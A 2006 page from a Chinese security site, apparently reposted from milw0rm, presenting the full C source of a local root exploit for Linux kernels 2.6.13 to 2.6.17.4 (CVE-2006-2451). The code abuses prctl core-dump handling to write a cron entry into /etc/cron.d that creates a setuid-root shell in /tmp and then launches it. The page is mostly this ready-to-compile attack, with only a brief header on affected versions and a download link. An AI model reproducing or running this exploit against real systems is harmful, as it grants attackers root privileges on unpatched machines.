⊙ 在线帮助
⊙ 添加收藏
⊙ 网站地图
最新资讯
技术中心
下载园地
漏洞总汇
在线书籍
X-档案
法规标准
技术论坛
 您现在的位置 >> 首页 >> 技术中心 >> 黑客技术 >> exploit >> local
 
 
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit

【责 编】:AcOol
【作 者】:不详
【时 间】:2006-7-12
【浏 览】:
【出 处】:milw0rm
【字 体】:[   ]
漏洞资料:
http://coolersky.com/leak/os/linux/2006/0711/690.html
危险程度:
    重要 
影响范围:
Linux kernel 2.6.13 <= 2.6.17.4
RedHat Enterprise Linux WS 4
RedHat Enterprise Linux ES 4
RedHat Enterprise Linux Desktop 4
RedHat Enterprise Linux AS 4
程序下载:
http://coolersky.com/common/files/exploit/rs_prctl_kernel.c
程序代码:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}


·本站特别声明不要转载或作者授权本站独家播发的文章,请勿转载。
·本站原创文章可自由转载,但本站作者及本站链接必须保留。
·非本站原创文章可自由转载,请按作者及文章出处一节,自行链接。
·转载之图片、文件,链接请不要盗链到本站,且不准打上各自站点的水印,亦不能抹去我站点水印。

+ 本站推荐 +
·ARP病毒问题的处理
·千兆以太网技术综述
·解析来自Autorun.inf文件的攻击
·破解Windows XP组策略的“锁死
·Linux Kernel 2.6.13 <= 2.6.1
+ 相关文章 +
·SCO Unixware 7.1.3 ptrace lo
·MySQL 4.x/5.0 User-Defined F
·SuSE Linux <= 9.3, 10 (chfn)
·MS05-045: Microsoft Windows
·MS05-044: Microsoft Windows
+ 热点文章 +
·没有硝烟的战争:网络禁用与突
·“Worm.Win32.Viking.i”病毒分
·MSN登陆问题(MSN不能登陆的N种
·CnsMinKP.sys文件损坏导致系统
·Ethereal使用入门
+ 原创文章 +
·“Worm.Win32.Viking.i”病毒分
·信息安全产业三部曲之“敦刻尔
·Dvbbs7.1 sp1 SQL版savepost.a
·针对西京大学网站的一次安全性
·phpBB 2.0.12非法获取管理员权
 
 
关于站点 | 免责申明 | 版权隐私 | 业务合作 | 提供捐助 | 联系我们 Copyright © 2001-2005 CoolerSky. All Rights Reserved.